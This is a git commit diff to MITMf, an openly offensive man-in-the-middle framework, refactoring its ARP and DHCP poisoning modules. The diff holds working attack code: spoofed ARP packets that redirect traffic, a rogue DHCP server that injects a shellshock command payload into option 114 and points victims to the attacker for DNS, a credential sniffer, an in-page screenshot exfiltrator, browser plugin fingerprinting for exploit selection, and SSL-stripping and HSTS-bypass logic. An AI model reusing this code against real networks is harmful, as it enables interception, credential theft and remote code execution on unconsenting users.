This commit refactors ARP and DHCP poisoning:

DHCP poisoning now works on Windows, additionaly it's been optimized for performance improvements
ARP poisoning has been optimized with and internal cache and some algo improvements

cve-details-parser.py has been added to the utils/ directory to help adding exploits to the BrowserSniper config file

I'm currently working on adding to the filepwn plugin all of the missing options that bdfproxy stand-alone has
This commit is contained in:
byt3bl33d3r 2015-07-25 02:49:41 +02:00
commit ba14ed8687
35 changed files with 1082 additions and 676 deletions

View file

@ -111,13 +111,10 @@ class ClientRequest(Request):
log.debug("[ClientRequest] Sending expired cookies")
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path))
elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
if 'securelink' in headers:
del headers['securelink']
elif self.urlMonitor.isSecureLink(client, url):
log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url)))
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
else:
log.debug("[ClientRequest] Sending request via HTTP")
#self.proxyViaHTTP(address, self.method, path, postData, headers)

View file

@ -1260,6 +1260,12 @@ var PD = PluginDetect;
//Set delimiter
PD.getVersion(".");
//Get client Info
data = os_detect.getVersion()
//Check to see if the UA is a lying bastard
data['ua_is_lying'] = os_detect.ua_is_lying
//Try to get plugin list
var pluginList = [];
if (navigator.plugins) {
@ -1270,30 +1276,24 @@ if (navigator.plugins) {
}
if (pluginList.length > 0){
data['pluginlist'] = pluginList;
data['plugin_list'] = pluginList;
}
//Check if java plugin is installed and/or enabled
var javaEnabled = PD.isMinVersion('java');
data['java'] = javaEnabled;
//var javaEnabled = PD.isMinVersion('java');
//data['java'] = javaEnabled;
//Get exact java plugin version
var javaVersionString = PD.getVersion('java');
data['java_v'] = javaVersionString;
data['java'] = javaVersionString;
//Check if flash plugin is installed and/or enabled
var flashEnabled = PD.isMinVersion('flash');
data['flash'] = flashEnabled;
//var flashEnabled = PD.isMinVersion('flash');
//data['flash'] = flashEnabled;
//Get exact flash plugin version
var flashVersionString = PD.getVersion('flash');
data['flash_v'] = flashVersionString;
//Get client Info
data['client_info'] = os_detect.getVersion()
//Check to see if the UA is a lying bastard
data['client_info']['ua_is_lying'] = os_detect.ua_is_lying
data['flash'] = flashVersionString;
xhr.open("POST", "clientprfl", true);
xhr.setRequestHeader("Content-Type", "application/json; charset=UTF-8");

View file

@ -1024,7 +1024,7 @@ function h2cRenderContext(width, height) {
};
}
_html2canvas.Parse = function (images, options) {
window.scroll(0,0);
//window.scroll(0,0);
var element = (( options.elements === undefined ) ? document.body : options.elements[0]), // select body by default
numDraws = 0,
@ -2871,8 +2871,10 @@ function grab() {
xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
var x=encodeURIComponent(dat);
xmlhttp.send(x);
}
});
},
width: screen.width,
height: screen.height
});
}
setInterval(function(){grab()}, SECONDS_GO_HERE);

View file

@ -32,41 +32,37 @@ from core.sergioproxy.ProxyPlugins import ProxyPlugins
app = Flask(__name__)
class mitmfapi:
class mitmfapi(ConfigWatcher):
_instance = None
host = ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['host']
port = int(ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['port'])
__shared_state = {}
@staticmethod
def getInstance():
if mitmfapi._instance is None:
mitmfapi._instance = mitmfapi()
return mitmfapi._instance
def __init__(self):
self.__dict__ = self.__shared_state
self.host = self.config['MITMf']['MITMf-API']['host']
self.port = int(self.config['MITMf']['MITMf-API']['port'])
@app.route("/")
def getPlugins():
# example: http://127.0.0.1:9090/
# example: http://127.0.0.1:9999/
pdict = {}
#print ProxyPlugins.getInstance().plist
for activated_plugin in ProxyPlugins.getInstance().plist:
#print ProxyPlugins().plugin_list
for activated_plugin in ProxyPlugins().plugin_list:
pdict[activated_plugin.name] = True
#print ProxyPlugins.getInstance().plist_all
for plugin in ProxyPlugins.getInstance().plist_all:
#print ProxyPlugins().all_plugins
for plugin in ProxyPlugins().all_plugins:
if plugin.name not in pdict:
pdict[plugin.name] = False
#print ProxyPlugins.getInstance().pmthds
#print ProxyPlugins().pmthds
return json.dumps(pdict)
@app.route("/<plugin>")
def getPluginStatus(plugin):
# example: http://127.0.0.1:9090/cachekill
for p in ProxyPlugins.getInstance().plist:
for p in ProxyPlugins().plugin_list:
if plugin == p.name:
return json.dumps("1")
@ -77,15 +73,15 @@ class mitmfapi:
# example: http://127.0.0.1:9090/cachekill/1 # enabled
# example: http://127.0.0.1:9090/cachekill/0 # disabled
if status == "1":
for p in ProxyPlugins.getInstance().plist_all:
if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist):
ProxyPlugins.getInstance().addPlugin(p)
for p in ProxyPlugins().all_plugins:
if (p.name == plugin) and (p not in ProxyPlugins().plugin_list):
ProxyPlugins().addPlugin(p)
return json.dumps({"plugin": plugin, "response": "success"})
elif status == "0":
for p in ProxyPlugins.getInstance().plist:
for p in ProxyPlugins().plugin_list:
if p.name == plugin:
ProxyPlugins.getInstance().removePlugin(p)
ProxyPlugins().removePlugin(p)
return json.dumps({"plugin": plugin, "response": "success"})
return json.dumps({"plugin": plugin, "response": "failed"})

View file

@ -5,6 +5,7 @@ import base64
import threading
import binascii
from core.logger import logger
from os import geteuid, devnull
from sys import exit
from urllib import unquote
@ -16,7 +17,8 @@ from urllib import unquote
from scapy.all import *
conf.verb=0
log = logging.getLogger('mitmf')
formatter = logging.Formatter("%(asctime)s %(clientip)s [NetCreds] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("NetCreds", formatter)
DN = open(devnull, 'w')
pkt_frag_loads = OrderedDict()
@ -43,11 +45,11 @@ class NetCreds:
version = "1.0"
def sniffer(self, interface):
sniff(iface=interface, prn=pkt_parser, store=0)
def sniffer(self, interface, ip):
sniff(iface=interface, prn=pkt_parser, filter="not host {}".format(ip), store=0)
def start(self, interface):
t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface,))
def start(self, interface, ip):
t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface, ip,))
t.setDaemon(True)
t.start()
@ -897,7 +899,7 @@ def printer(src_ip_port, dst_ip_port, msg):
print_str = '[{} > {}] {}'.format(src_ip_port, dst_ip_port, msg)
# All credentials will have dst_ip_port, URLs will not
log.info("[NetCreds] {}".format(print_str))
log.info("{}".format(print_str))
else:
print_str = '[{}] {}'.format(src_ip_port.split(':')[0], msg)
log.info("[NetCreds] {}".format(print_str))
log.info("{}".format(print_str))

View file

@ -16,15 +16,12 @@
# USA
#
import threading
import logging
from traceback import print_exc
import threading
from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError
from core.logger import logger
from core.utils import set_ip_forwarding, iptables
from time import sleep
from scapy.all import ARP, send, sendp, sniff, getmacbyip
from scapy.all import *
formatter = logging.Formatter("%(asctime)s [ARPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("ARPpoisoner", formatter)
@ -36,78 +33,101 @@ class ARPpoisoner:
version = '0.1'
def __init__(self, options):
try:
self.gatewayip = str(IPAddress(options.gateway))
except AddrFormatError as e:
sys.exit("Specified an invalid IP address as gateway")
self.gatewaymac = getmacbyip(options.gateway)
self.targets = self.get_target_range(options.targets)
if self.gatewaymac is None: sys.exit("Error: Could not resolve gateway's MAC address")
self.ignore = self.get_range(options.ignore)
if self.ignore is None: self.ignore = []
self.targets = self.get_range(options.targets)
self.arpmode = options.arpmode
self.debug = False
self.send = True
self.interval = 3
self.interface = options.interface
self.myip = options.ip
self.mymac = options.mac
if self.gatewaymac is None:
sys.exit("Error: Could not resolve gateway's MAC address")
self.arp_cache = {}
log.debug("gatewayip => {}".format(self.gatewayip))
log.debug("gatewaymac => {}".format(self.gatewaymac))
log.debug("targets => {}".format(self.targets))
log.debug("ignore => {}".format(self.ignore))
log.debug("ip => {}".format(self.myip))
log.debug("mac => {}".format(self.mymac))
log.debug("interface => {}".format(self.interface))
log.debug("arpmode => {}".format(self.arpmode))
log.debug("interval => {}".format(self.interval))
set_ip_forwarding(1)
iptables().flush()
iptables().http(options.port)
def start(self):
#create a L3 and L2 socket, to be used later to send ARP packets
#this doubles performance since send() and sendp() open and close a socket on each packet
self.s = conf.L3socket(iface=self.interface)
self.s2 = conf.L2socket(iface=self.interface)
if self.arpmode == 'rep':
t = threading.Thread(name='ARPpoisoner-rep', target=self.poison_arp_rep)
t = threading.Thread(name='ARPpoisoner-rep', target=self.poison, args=('is-at',))
elif self.arpmode == 'req':
t = threading.Thread(name='ARPpoisoner-req', target=self.poison_arp_req)
t = threading.Thread(name='ARPpoisoner-req', target=self.poison, args=('who-has',))
t.setDaemon(True)
t.start()
if self.targets is None:
log.debug('Starting ARPWatch')
t = threading.Thread(name='ARPWatch', target=self.start_arp_watch)
t.setDaemon(True)
t.start()
def get_target_range(self, targets):
def get_range(self, targets):
if targets is None:
return None
try:
targetList = []
target_list = []
for target in targets.split(','):
if '/' in target:
targetList.append(IPNetwork(target))
target_list.extend(list(IPNetwork(target)))
elif '-' in target:
first_half = target.split('-')[0]
second_half = first_half + target.split('-')[1]
targetList.append(IPRange(first_half, second_half))
start_addr = IPAddress(target.split('-')[0])
try:
end_addr = IPAddress(target.split('-')[1])
ip_range = IPRange(start_addr, end_addr)
except AddrFormatError:
end_addr = list(start_addr.words)
end_addr[-1] = target.split('-')[1]
end_addr = IPAddress('.'.join(map(str, end_addr)))
ip_range = IPRange(start_addr, end_addr)
target_list.extend(list(ip_range))
else:
targetList.append(IPAddress(target))
target_list.append(IPAddress(target))
return targetList
except AddrFormatError as e:
return target_list
except AddrFormatError:
sys.exit("Specified an invalid IP address/range/network as target")
def start_arp_watch(self):
sniff(prn=self.arp_watch_callback, filter="arp", store=0)
try:
sniff(prn=self.arp_watch_callback, filter="arp", store=0)
except Exception as e:
if "Interrupted system call" not in e:
log.error("[ARPWatch] Exception occurred when invoking sniff(): {}".format(e))
pass
def arp_watch_callback(self, pkt):
if self.send is True: #Prevents sending packets on exiting
if self.send is True:
if ARP in pkt and pkt[ARP].op == 1: #who-has only
#broadcast mac is 00:00:00:00:00:00
packet = None
@ -117,7 +137,7 @@ class ARPpoisoner:
#print str(pkt[ARP].pdst) #ip of destination (Who is ...?)
if (str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and str(pkt[ARP].pdst) == self.gatewayip and self.myip != str(pkt[ARP].psrc)):
log.debug("[ARPWatch] {} is asking where the Gateway is. Sending reply: I'm the gateway biatch!'".format(pkt[ARP].psrc))
log.debug("[ARPWatch] {} is asking where the Gateway is. Sending the \"I'm the gateway biatch!\" reply!".format(pkt[ARP].psrc))
#send repoison packet
packet = ARP()
packet.op = 2
@ -126,7 +146,7 @@ class ARPpoisoner:
packet.pdst = str(pkt[ARP].psrc)
elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip != str(pkt[ARP].pdst)):
log.debug("[ARPWatch] Gateway asking where {} is. Sending reply: I'm {} biatch!".format(pkt[ARP].pdst, pkt[ARP].pdst))
log.debug("[ARPWatch] Gateway asking where {} is. Sending the \"I'm {} biatch!\" reply!".format(pkt[ARP].pdst, pkt[ARP].pdst))
#send repoison packet
packet = ARP()
packet.op = 2
@ -135,7 +155,7 @@ class ARPpoisoner:
packet.pdst = str(pkt[ARP].pdst)
elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip == str(pkt[ARP].pdst)):
log.debug("[ARPWatch] Gateway asking where {} is. Sending reply: This is the h4xx0r box!".format(pkt[ARP].pdst))
log.debug("[ARPWatch] Gateway asking where {} is. Sending the \"This is the h4xx0r box!\" reply!".format(pkt[ARP].pdst))
packet = ARP()
packet.op = 2
@ -145,165 +165,87 @@ class ARPpoisoner:
try:
if packet is not None:
send(packet, verbose=self.debug, iface=self.interface)
self.s.send(packet)
except Exception as e:
if "Interrupted system call" not in e:
log.error("[ARPWatch] Exception occurred while sending re-poison packet: {}".format(e))
pass
def poison_arp_rep(self):
def resolve_target_mac(self, targetip):
targetmac = None
try:
targetmac = self.arp_cache[targetip] # see if we already resolved that address
log.debug('{} has already been resolved'.format(targetip))
except KeyError:
#This following replaces getmacbyip(), much faster this way
packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
try:
resp, _ = sndrcv(self.s2, packet, timeout=2, verbose=False)
except Exception as e:
resp= ''
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
if len(resp) > 0:
targetmac = resp[0][1].hwsrc
self.arp_cache[targetip] = targetmac # shove that address in our cache
log.debug("Resolved {} => {}".format(targetip, targetmac))
else:
log.debug("Unable to resolve MAC address of {}".format(targetip))
return targetmac
def poison(self, arpmode):
sleep(2)
while self.send:
if self.targets is None:
pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="is-at")
sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2
self.s2.send(Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op=arpmode))
elif self.targets:
#Since ARP spoofing relies on knowing the targets MAC address, this whole portion is just error handling in case we can't resolve it
for target in self.targets:
targetip = str(target)
if type(target) is IPAddress:
targetip = str(target)
if (targetip != self.myip) and (target not in self.ignore):
targetmac = self.resolve_target_mac(targetip)
try:
targetmac = getmacbyip(targetip)
if targetmac is None:
log.debug("Unable to resolve MAC address of {}".format(targetip))
elif targetmac:
send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug)
send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug)
except Exception as e:
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
pass
if (type(target) is IPRange) or (type(target) is IPNetwork):
for targetip in target:
if targetmac is not None:
try:
targetmac = getmacbyip(str(targetip))
if targetmac is None:
log.debug("Unable to resolve MAC address of {}".format(targetip))
elif targetmac:
send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug)
send(ARP(pdst=self.gatewayip, psrc=str(targetip), hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug)
log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip))
self.s.send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode))
self.s.send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode))
except Exception as e:
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
print_exc()
pass
sleep(self.interval)
def poison_arp_req(self):
while self.send:
if self.targets is None:
pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="who-has")
sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2
elif self.targets:
for target in self.targets:
if type(target) is IPAddress:
targetip = str(target)
try:
targetmac = getmacbyip(targetip)
if targetmac is None:
log.debug("Unable to resolve MAC address of {}".format(targetip))
elif targetmac:
send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug)
send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug)
except Exception as e:
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
pass
if (type(target) is IPRange) or (type(target) is IPNetwork):
for targetip in target:
try:
targetmac = getmacbyip(str(targetip))
if targetmac is None:
log.debug("Unable to resolve MAC address of {}".format(targetip))
elif targetmac:
send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug)
send(ARP(pdst=self.gatewayip, psrc=str(targetip), hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug)
except Exception as e:
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
pass
sleep(self.interval)
def options(self, options):
options.add_argument('--gateway', dest='gateway', type=str, help='Gateway ip address')
options.add_argument('--targets', dest='targets', type=str, help='Specify host/s to poison [if ommited will default to subnet]')
options.add_argument('--arpmode', dest='arpmode', default='rep', choices=["rep", "req"], help='ARP Spoofing mode: replies (rep) or requests (req) [default: rep]')
def on_shutdown(self, options):
def stop(self):
self.send = False
sleep(3)
self.interval = 1
count = 5
count = 2
if self.targets:
if self.targets is None:
log.info("Restoring subnet connection with {} packets".format(count))
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.gatewaymac, psrc=self.gatewayip, op="is-at")
for i in range(0, count):
self.s2.send(pkt)
elif self.targets:
for target in self.targets:
targetip = str(target)
targetmac = self.resolve_target_mac(targetip)
if type(target) is IPAddress:
targetip = str(target)
if targetmac is not None:
log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
try:
targetmac = getmacbyip(targetip)
if targetmac is None:
log.debug("Unable to resolve MAC address of {}".format(targetip))
elif targetmac:
log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
for i in range(0, count):
self.s.send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac))
self.s.send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac))
except Exception as e:
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
pass
if (type(target) is IPRange) or (type(target) is IPNetwork):
for targetip in target:
try:
targetmac = getmacbyip(str(targetip))
if targetmac is None:
log.debug("Unable to resolve MAC address of {}".format(targetip))
elif targetmac:
log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
send(ARP(op="is-at", pdst=self.gatewayip, psrc=str(targetip), hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
send(ARP(op="is-at", pdst=str(targetip), psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
except Exception as e:
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
pass
elif self.targets is None:
log.info("Restoring subnet connection with {} packets".format(count))
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.gatewaymac, psrc=self.gatewayip, op="is-at")
sendp(pkt, inter=self.interval, count=count, iface=self.interface, verbose=self.debug) #sends at layer 2
set_ip_forwarding(0)
iptables().flush()
#close the sockets
self.s.close()
self.s2.close()

View file

@ -20,6 +20,8 @@ import logging
import threading
import binascii
import random
from netaddr import IPAddress, IPNetwork, IPRange, AddrFormatError
from core.logger import logger
from scapy.all import *
@ -28,98 +30,120 @@ log = logger().setup_logger("DHCPpoisoner", formatter)
class DHCPpoisoner():
def __init__(self, interface, dhcpcfg, ip, mac):
self.interface = interface
self.ip_address = ip
self.mac_address = mac
self.shellshock = None
self.debug = False
self.dhcpcfg = dhcpcfg
self.rand_number = []
self.dhcp_dic = {}
def __init__(self, options, dhcpcfg):
self.interface = options.interface
self.ip_address = options.ip
self.mac_address = options.mac
self.shellshock = options.shellshock
self.debug = False
self.dhcpcfg = dhcpcfg
self.dhcp_dic = {}
def start(self):
t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,))
t.setDaemon(True)
t.start()
log.debug("interface => {}".format(self.interface))
log.debug("ip => {}".format(self.ip_address))
log.debug("mac => {}".format(self.mac_address))
log.debug("shellshock => {}".format(self.shellshock))
log.debug("dhcpcfg => {}".format(self.dhcpcfg))
def dhcp_sniff(self, interface):
sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface)
def start(self):
self.s2 = conf.L2socket(iface=self.interface)
def dhcp_rand_ip(self):
pool = self.dhcpcfg['ip_pool'].split('-')
trunc_ip = pool[0].split('.'); del(trunc_ip[3])
max_range = int(pool[1])
min_range = int(pool[0].split('.')[3])
number_range = range(min_range, max_range)
for n in number_range:
if n in self.rand_number:
number_range.remove(n)
rand_number = random.choice(number_range)
self.rand_number.append(rand_number)
rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number)
t = threading.Thread(name="DHCPpoisoner", target=self.dhcp_sniff)
t.setDaemon(True)
t.start()
return rand_ip
def stop(self):
self.s2.close()
def dhcp_callback(self, resp):
if resp.haslayer(DHCP):
xid = resp[BOOTP].xid
mac_addr = resp[Ether].src
raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
if xid in self.dhcp_dic.keys():
client_ip = self.dhcp_dic[xid]
else:
client_ip = self.dhcp_rand_ip()
self.dhcp_dic[xid] = client_ip
def dhcp_sniff(self):
try:
sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=self.interface)
except Exception as e:
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning: {}".format(e))
if resp[DHCP].options[0][1] is 1:
log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
log.info("Sending DHCP OFFER")
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') /
UDP(sport=67, dport=68) /
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
DHCP(options=[("message-type", "offer"),
('server_id', self.ip_address),
('subnet_mask', self.dhcpcfg['subnet']),
('router', self.ip_address),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240),
"end"]))
def dhcp_rand_ip(self):
pool = self.dhcpcfg['ip_pool']
try:
if '/' in pool:
ips = list(IPNetwork(pool))
return str(random.choice(ips))
try:
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
except KeyError:
pass
elif '-' in pool:
start_addr = IPAddress(pool.split('-')[0])
try:
end_addr = IPAddress(pool.split('-')[1])
ips = list(IPRange(start_addr, end_addr))
except AddrFormatError:
end_addr = list(start_addr.words)
end_addr[-1] = pool.split('-')[1]
sendp(packet, iface=self.interface, verbose=self.debug)
end_addr = IPAddress('.'.join(map(str, end_addr)))
ips = list(IPRange(start_addr, end_addr))
if resp[DHCP].options[0][1] is 3:
log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') /
UDP(sport=67, dport=68) /
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
DHCP(options=[("message-type", "ack"),
('server_id', self.ip_address),
('subnet_mask', self.dhcpcfg['subnet']),
('router', self.ip_address),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240)]))
return str(random.choice(ips))
try:
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
except KeyError:
pass
log.error('Specified invalid CIDR/Network range in DHCP pool option')
except AddrFormatError:
log.error('Specified invalid CIDR/Network range in DHCP pool option')
if self.shellshock:
log.info("Sending DHCP ACK with shellshock payload")
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
packet[DHCP].options.append("end")
else:
log.info("Sending DHCP ACK")
packet[DHCP].options.append("end")
def dhcp_callback(self, resp):
if resp.haslayer(DHCP):
log.debug('Saw a DHCP packet')
xid = resp[BOOTP].xid
mac_addr = resp[Ether].src
raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
sendp(packet, iface=self.interface, verbose=self.debug)
if xid in self.dhcp_dic.keys():
client_ip = self.dhcp_dic[xid]
else:
client_ip = self.dhcp_rand_ip()
self.dhcp_dic[xid] = client_ip
if resp[DHCP].options[0][1] == 1:
log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
log.info("Sending DHCP OFFER")
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') /
UDP(sport=67, dport=68) /
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
DHCP(options=[("message-type", "offer"),
('server_id', self.ip_address),
('subnet_mask', self.dhcpcfg['subnet']),
('router', self.ip_address),
('name_server', self.ip_address),
('dns_server', self.ip_address),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240),
"end"]))
self.s2.send(packet)
if resp[DHCP].options[0][1] == 3:
log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') /
UDP(sport=67, dport=68) /
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
DHCP(options=[("message-type", "ack"),
('server_id', self.ip_address),
('subnet_mask', self.dhcpcfg['subnet']),
('router', self.ip_address),
('name_server', self.ip_address),
('dns_server', self.ip_address),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240)]))
if self.shellshock:
log.info("Sending DHCP ACK with shellshock payload")
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
packet[DHCP].options.append("end")
else:
log.info("Sending DHCP ACK")
packet[DHCP].options.append("end")
self.s2.send(packet)

View file

@ -18,26 +18,22 @@
import logging
import threading
import binascii
import random
from base64 import b64decode
from urllib import unquote
from time import sleep
from core.logger import logger
from scapy.all import *
from scapy.all import IP, ICMP, UDP, sendp
formatter = logging.Formatter("%(asctime)s [ICMPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("ICMPpoisoner", formatter)
class ICMPpoisoner():
def __init__(self, interface, target, gateway, ip_address):
def __init__(self, options):
self.target = target
self.gateway = gateway
self.interface = interface
self.ip_address = ip_address
self.target = options.target
self.gateway = options.gateway
self.interface = options.interface
self.ip_address = options.ip
self.debug = False
self.send = True
self.icmp_interval = 2

View file

@ -52,6 +52,7 @@ class ProxyPlugins:
plugin_mthds = {}
plugin_list = []
all_plugins = []
__shared_state = {}

View file

@ -47,7 +47,7 @@ from core.logger import logger
from mitmflib.dnslib import *
from IPy import IP
formatter = logging.Formatter("%(asctime)s %(clientip)s [DNSChef] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
formatter = logging.Formatter("%(asctime)s %(clientip)s [DNS] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("DNSChef", formatter)
# DNSHandler Mixin. The class contains generic functions to parse DNS requests and
@ -300,6 +300,8 @@ class DNSHandler():
# Obtain a response from a real DNS server.
def proxyrequest(self, request, host, port="53", protocol="udp"):
clientip = {'clientip': self.client_address[0]}
reply = None
try:
if DNSChef().ipv6:
@ -337,12 +339,13 @@ class DNSHandler():
sock.close()
except Exception, e:
except Exception as e:
log.warning("Could not proxy request: {}".format(e), extra=clientip)
else:
return reply
def hstsbypass(self, real_domain, fake_domain, nameservers, d):
clientip = {'clientip': self.client_address[0]}
log.info("Resolving '{}' to '{}' for HSTS bypass".format(fake_domain, real_domain), extra=clientip)
@ -477,7 +480,7 @@ class DNSChef(ConfigWatcher):
self.startUDP()
except socket.error as e:
if "Address already in use" in e:
shutdown("\n[DNSChef] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
shutdown("\n[DNS] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
# Initialize and start the DNS Server
def startUDP(self):

View file

@ -17,13 +17,16 @@
#
import logging
import threading
import sys
from core.utils import shutdown
from core.configwatcher import ConfigWatcher
from flask import Flask
class HTTPserver(ConfigWatcher):
server = Flask("HTTPserver")
func_list = []
__shared_state = {}
@ -31,6 +34,16 @@ class HTTPserver(ConfigWatcher):
self.__dict__ = self.__shared_state
def start_flask(self):
@self.server.route('/', defaults={'path': '/'})
@self.server.route('/<path:path>')
def catch_all(path):
for func in self.func_list:
resp = func(path)
if resp:
return resp
return path
self.server.run(debug=False, host='0.0.0.0', port=int(self.config['MITMf']['HTTP']['port']))
def start(self):
@ -39,6 +52,9 @@ class HTTPserver(ConfigWatcher):
server_thread.setDaemon(True)
server_thread.start()
def add_endpoint(self, function):
self.func_list.append(function)
def setup_http_logger(self):
formatter = logging.Formatter("%(asctime)s [HTTP] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
flask_logger = logging.getLogger('werkzeug')

24
core/servers/smb/KarmaSMB.py Normal file → Executable file
View file

@ -49,14 +49,16 @@
# hosting. *CAREFUL!!!*
#
import sys
import os
import argparse
import logging
import ntpath
import ConfigParser
from threading import Thread
from mitmflib.impacket import LOG as logger
from mitmflib.impacket.examples import logger
from mitmflib.impacket import smbserver, smb, version
import mitmflib.impacket.smb3structs as smb2
from mitmflib.impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE
